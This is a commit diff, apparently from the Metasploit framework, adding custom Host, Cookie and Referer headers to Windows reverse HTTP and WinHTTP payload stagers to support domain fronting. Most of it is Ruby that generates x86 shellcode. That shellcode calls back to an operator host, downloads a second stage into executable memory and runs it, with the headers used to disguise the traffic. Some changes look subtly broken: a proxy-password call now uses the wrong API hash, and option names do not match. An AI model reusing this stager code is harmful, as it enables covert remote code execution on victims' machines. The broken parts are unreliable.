Skip to content

Commit a78d8f8

Browse files
OJbusterb
authored andcommitted
Add HTTP header support for Host/Cookie/Referer
This is to start the support for things like domain fronting.
1 parent a4e199a commit a78d8f8

File tree

7 files changed

+248
-89
lines changed

7 files changed

+248
-89
lines changed

lib/msf/core/handler/reverse_http.rb

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -347,8 +347,6 @@ def on_request(cli, req)
347347
blob = self.generate_stage(
348348
url: url,
349349
uuid: uuid,
350-
lhost: uri.host,
351-
lport: uri.port,
352350
uri: conn_id
353351
)
354352

lib/msf/core/payload/transport_config.rb

Lines changed: 18 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -56,16 +56,17 @@ def transport_config_reverse_http(opts={})
5656

5757
ds = opts[:datastore] || datastore
5858
{
59-
scheme: ds['OverrideScheme'] || 'http',
60-
lhost: opts[:lhost] || ds['LHOST'],
61-
lport: (opts[:lport] || ds['LPORT']).to_i,
62-
uri: uri,
63-
ua: ds['MeterpreterUserAgent'],
64-
proxy_host: ds['PayloadProxyHost'],
65-
proxy_port: ds['PayloadProxyPort'],
66-
proxy_type: ds['PayloadProxyType'],
67-
proxy_user: ds['PayloadProxyUser'],
68-
proxy_pass: ds['PayloadProxyPass']
59+
scheme: ds['OverrideScheme'] || 'http',
60+
lhost: opts[:lhost] || ds['LHOST'],
61+
lport: (opts[:lport] || ds['LPORT']).to_i,
62+
uri: uri,
63+
ua: ds['MeterpreterUserAgent'],
64+
proxy_host: ds['PayloadProxyHost'],
65+
proxy_port: ds['PayloadProxyPort'],
66+
proxy_type: ds['PayloadProxyType'],
67+
proxy_user: ds['PayloadProxyUser'],
68+
proxy_pass: ds['PayloadProxyPass'],
69+
custom_headers: get_custom_headers(ds)
6970
}.merge(timeout_config(opts))
7071
end
7172

@@ -80,6 +81,13 @@ def transport_config_reverse_named_pipe(opts={})
8081

8182
private
8283

84+
def get_custom_headers(ds)
85+
headers = ""
86+
headers << "Host: #{ds['HttpHost']}\r\n" if ds['HttpHost']
87+
headers << "Cookie: #{ds['HttpCookie']}\r\n" if ds['HttpCookie']
88+
headers << "Referer: #{ds['HttpReferer']}\r\n" if ds['HttpReferer']
89+
end
90+
8391
def timeout_config(opts={})
8492
ds = opts[:datastore] || datastore
8593
{

lib/msf/core/payload/windows/reverse_http.rb

Lines changed: 79 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,10 @@ def initialize(*args)
3636
OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']),
3737
OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']),
3838
OptString.new('PayloadProxyPass', [false, 'An optional proxy server password']),
39-
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']])
39+
OptEnum.new('PayloadProxyType', [false, 'The type of HTTP proxy (HTTP or SOCKS)', 'HTTP', ['HTTP', 'SOCKS']]),
40+
OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
41+
OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
42+
OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
4043
], self.class)
4144
end
4245

@@ -47,22 +50,23 @@ def generate(opts={})
4750
ds = opts[:datastore] || datastore
4851
conf = {
4952
ssl: opts[:ssl] || false,
50-
host: ds['LHOST'],
53+
host: ds['LHOST'] || '127.127.127.127',
5154
port: ds['LPORT'],
5255
retry_count: ds['StagerRetryCount'],
53-
retry_wait: ds['StagerRetryWait']
56+
retry_wait: ds['StagerRetryWait']
5457
}
5558

5659
# Add extra options if we have enough space
57-
if self.available_space && required_space <= self.available_space
58-
conf[:url] = luri + generate_uri(opts)
59-
conf[:exitfunk] = ds['EXITFUNC']
60-
conf[:ua] = ds['MeterpreterUserAgent']
61-
conf[:proxy_host] = ds['PayloadProxyHost']
62-
conf[:proxy_port] = ds['PayloadProxyPort']
63-
conf[:proxy_user] = ds['PayloadProxyUser']
64-
conf[:proxy_pass] = ds['PayloadProxyPass']
65-
conf[:proxy_type] = ds['PayloadProxyType']
60+
if self.available_space.nil? || required_space <= self.available_space
61+
conf[:url] = luri + generate_uri(opts)
62+
conf[:exitfunk] = ds['EXITFUNC']
63+
conf[:ua] = ds['MeterpreterUserAgent']
64+
conf[:proxy_host] = ds['PayloadProxyHost']
65+
conf[:proxy_port] = ds['PayloadProxyPort']
66+
conf[:proxy_user] = ds['PayloadProxyUser']
67+
conf[:proxy_pass] = ds['PayloadProxyPass']
68+
conf[:proxy_type] = ds['PayloadProxyType']
69+
conf[:custom_headers] = get_custom_headers(ds)
6670
else
6771
# Otherwise default to small URIs
6872
conf[:url] = luri + generate_small_uri
@@ -71,6 +75,22 @@ def generate(opts={})
7175
generate_reverse_http(conf)
7276
end
7377

78+
#
79+
# Generate the custom headers string
80+
#
81+
def get_custom_headers(ds)
82+
headers = ""
83+
headers << "Host: #{ds['HttpHeaderHost']}\r\n" if ds['HttpHeaderHost']
84+
headers << "Cookie: #{ds['HttpHeaderCookie']}\r\n" if ds['HttpHeaderCookie']
85+
headers << "Referer: #{ds['HttpHeaderReferer']}\r\n" if ds['HttpHeaderReferer']
86+
87+
if headers.length > 0
88+
headers
89+
else
90+
nil
91+
end
92+
end
93+
7494
#
7595
# Generate and compile the stager
7696
#
@@ -138,10 +158,23 @@ def required_space
138158
# Proxy options?
139159
space += 200
140160

161+
# Custom headers? Ugh, impossible to tell
162+
space += 512
163+
141164
# The final estimated size
142165
space
143166
end
144167

168+
#
169+
# Convert a string into a NULL-terminated ASCII byte array
170+
#
171+
def asm_generate_ascii_array(str)
172+
(str.to_s + "\x00").
173+
unpack("C*").
174+
map{ |c| "0x%.2x" % c }.
175+
join(",")
176+
end
177+
145178
#
146179
# Generate an assembly stub with the configured feature set and options.
147180
#
@@ -155,6 +188,7 @@ def required_space
155188
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
156189
# @option opts [String] :proxy_user The optional proxy server username
157190
# @option opts [String] :proxy_pass The optional proxy server password
191+
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
158192
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
159193
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
160194
#
@@ -181,6 +215,8 @@ def asm_reverse_http(opts={})
181215
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
182216
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
183217

218+
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
219+
184220
http_open_flags = 0
185221
secure_flags = 0
186222

@@ -222,10 +258,10 @@ def asm_reverse_http(opts={})
222258
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
223259
push 0x696e6977 ; ...
224260
push esp ; Push a pointer to the "wininet" string on the stack.
225-
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
261+
push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
226262
call ebp ; LoadLibraryA( "wininet" )
227263
xor ebx, ebx ; Set ebx to NULL to use in future arguments
228-
^
264+
^
229265

230266
if proxy_enabled
231267
asm << %Q^
@@ -238,7 +274,7 @@ def asm_reverse_http(opts={})
238274
; LPCTSTR lpszProxyName (via call)
239275
push 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
240276
push ebx ; LPCTSTR lpszAgent (NULL)
241-
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
277+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
242278
call ebp
243279
^
244280
else
@@ -249,7 +285,7 @@ def asm_reverse_http(opts={})
249285
push ebx ; LPCTSTR lpszProxyName (NULL)
250286
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
251287
push ebx ; LPCTSTR lpszAgent (NULL)
252-
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
288+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetOpenA')}
253289
call ebp
254290
^
255291
end
@@ -267,10 +303,10 @@ def asm_reverse_http(opts={})
267303
db "#{opts[:url]}", 0x00
268304
got_server_host:
269305
push eax ; HINTERNET hInternet (still in eax from InternetOpenA)
270-
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
306+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetConnectA')}
271307
call ebp
272308
mov esi, eax ; Store hConnection in esi
273-
^
309+
^
274310

275311
# Note: wine-1.6.2 does not support SSL w/proxy authentication properly, it
276312
# doesn't set the Proxy-Authorization header on the CONNECT request.
@@ -286,7 +322,7 @@ def asm_reverse_http(opts={})
286322
; LPVOID lpBuffer (username from previous call)
287323
push 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
288324
push esi ; hConnection
289-
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
325+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
290326
call ebp
291327
^
292328
end
@@ -302,7 +338,7 @@ def asm_reverse_http(opts={})
302338
; LPVOID lpBuffer (password from previous call)
303339
push 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
304340
push esi ; hConnection
305-
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
341+
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpAddRequestHeaders')}
306342
call ebp
307343
^
308344
end
@@ -317,7 +353,7 @@ def asm_reverse_http(opts={})
317353
push edi ; server URI
318354
push ebx ; method
319355
push esi ; hConnection
320-
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
356+
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpOpenRequestA')}
321357
call ebp
322358
xchg esi, eax ; save hHttpRequest in esi
323359
^
@@ -334,7 +370,6 @@ def asm_reverse_http(opts={})
334370
send_request:
335371
^
336372

337-
338373
if opts[:ssl]
339374
asm << %Q^
340375
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
@@ -345,7 +380,7 @@ def asm_reverse_http(opts={})
345380
push eax ; &dwFlags
346381
push 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
347382
push esi ; hHttpRequest
348-
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
383+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
349384
call ebp
350385
^
351386
end
@@ -354,17 +389,32 @@ def asm_reverse_http(opts={})
354389
httpsendrequest:
355390
push ebx ; lpOptional length (0)
356391
push ebx ; lpOptional (NULL)
357-
push ebx ; dwHeadersLength (0)
358-
push ebx ; lpszHeaders (NULL)
392+
^
393+
394+
if custom_headers
395+
asm << %Q^
396+
push -1 ; dwHeadersLength (assume NULL terminated)
397+
call get_req_headers ; lpszHeaders (pointer to the custom headers)
398+
db #{custom_headers}
399+
get_req_headers:
400+
^
401+
else
402+
asm << %Q^
403+
push ebx ; HeadersLength (0)
404+
push ebx ; Headers (NULL)
405+
^
406+
end
407+
408+
asm << %Q^
359409
push esi ; hHttpRequest
360-
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
410+
push #{Rex::Text.block_api_hash('wininet.dll', 'HttpSendRequestA')}
361411
call ebp
362412
test eax,eax
363413
jnz allocate_memory
364414
365415
set_wait:
366416
push #{retry_wait} ; dwMilliseconds
367-
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
417+
push #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
368418
call ebp ; Sleep( dwMilliseconds );
369419
^
370420

@@ -404,7 +454,7 @@ def asm_reverse_http(opts={})
404454
push 0x1000 ; MEM_COMMIT
405455
push 0x00400000 ; Stage allocation (4Mb ought to do us)
406456
push ebx ; NULL as we dont care where the allocation is
407-
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
457+
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
408458
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
409459
410460
download_prep:
@@ -418,7 +468,7 @@ def asm_reverse_http(opts={})
418468
push 8192 ; read length
419469
push ebx ; buffer
420470
push esi ; hRequest
421-
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
471+
push #{Rex::Text.block_api_hash('wininet.dll', 'InternetReadFile')}
422472
call ebp
423473
424474
test eax,eax ; download failed? (optional?)

lib/msf/core/payload/windows/reverse_winhttp.rb

Lines changed: 34 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -29,24 +29,26 @@ def initialize(*args)
2929
# Generate the first stage
3030
#
3131
def generate(opts={})
32+
ds = opts[:datastore] || datastore
3233
conf = {
33-
ssl: opts[:ssl] || false,
34-
host: datastore['LHOST'] || '127.127.127.127',
35-
port: datastore['LPORT']
34+
ssl: opts[:ssl] || false,
35+
host: ds['LHOST'] || '127.127.127.127',
36+
port: ds['LPORT']
3637
}
3738

3839
# Add extra options if we have enough space
39-
if self.available_space && required_space <= self.available_space
40+
if self.available_space.nil? || required_space <= self.available_space
4041
conf[:uri] = luri + generate_uri
41-
conf[:exitfunk] = datastore['EXITFUNC']
42+
conf[:exitfunk] = ds['EXITFUNC']
4243
conf[:verify_cert_hash] = opts[:verify_cert_hash]
43-
conf[:proxy_host] = datastore['PayloadProxyHost']
44-
conf[:proxy_port] = datastore['PayloadProxyPort']
45-
conf[:proxy_user] = datastore['PayloadProxyUser']
46-
conf[:proxy_pass] = datastore['PayloadProxyPass']
47-
conf[:proxy_type] = datastore['PayloadProxyType']
48-
conf[:retry_count] = datastore['StagerRetryCount']
49-
conf[:proxy_ie] = datastore['PayloadProxyIE']
44+
conf[:proxy_host] = ds['PayloadProxyHost']
45+
conf[:proxy_port] = ds['PayloadProxyPort']
46+
conf[:proxy_user] = ds['PayloadProxyUser']
47+
conf[:proxy_pass] = ds['PayloadProxyPass']
48+
conf[:proxy_type] = ds['PayloadProxyType']
49+
conf[:retry_count] = ds['StagerRetryCount']
50+
conf[:proxy_ie] = ds['PayloadProxyIE']
51+
conf[:custom_headers] = get_custom_headers(ds)
5052
else
5153
# Otherwise default to small URIs
5254
conf[:uri] = luri + generate_small_uri
@@ -93,6 +95,9 @@ def required_space
9395
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
9496
space += 31
9597

98+
# Custom headers? Ugh, impossible to tell
99+
space += 512 * 2
100+
96101
# The final estimated size
97102
space
98103
end
@@ -167,6 +172,8 @@ def asm_reverse_winhttp(opts={})
167172
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
168173
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
169174

175+
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
176+
170177
http_open_flags = 0
171178
secure_flags = 0
172179

@@ -434,8 +441,23 @@ def asm_reverse_winhttp(opts={})
434441
push ebx ; TotalLength [6]
435442
push ebx ; OptionalLength (0) [5]
436443
push ebx ; Optional (NULL) [4]
444+
^
445+
446+
if custom_headers
447+
asm << %Q^
448+
push -1 ; dwHeadersLength (assume NULL terminated) [3]
449+
call get_req_headers ; lpszHeaders (pointer to the custom headers) [2]
450+
db #{custom_headers}
451+
get_req_headers:
452+
^
453+
else
454+
asm << %Q^
437455
push ebx ; HeadersLength (0) [3]
438456
push ebx ; Headers (NULL) [2]
457+
^
458+
end
459+
460+
asm << %Q^
439461
push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]
440462
push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}
441463
call ebp

0 commit comments

Comments
 (0)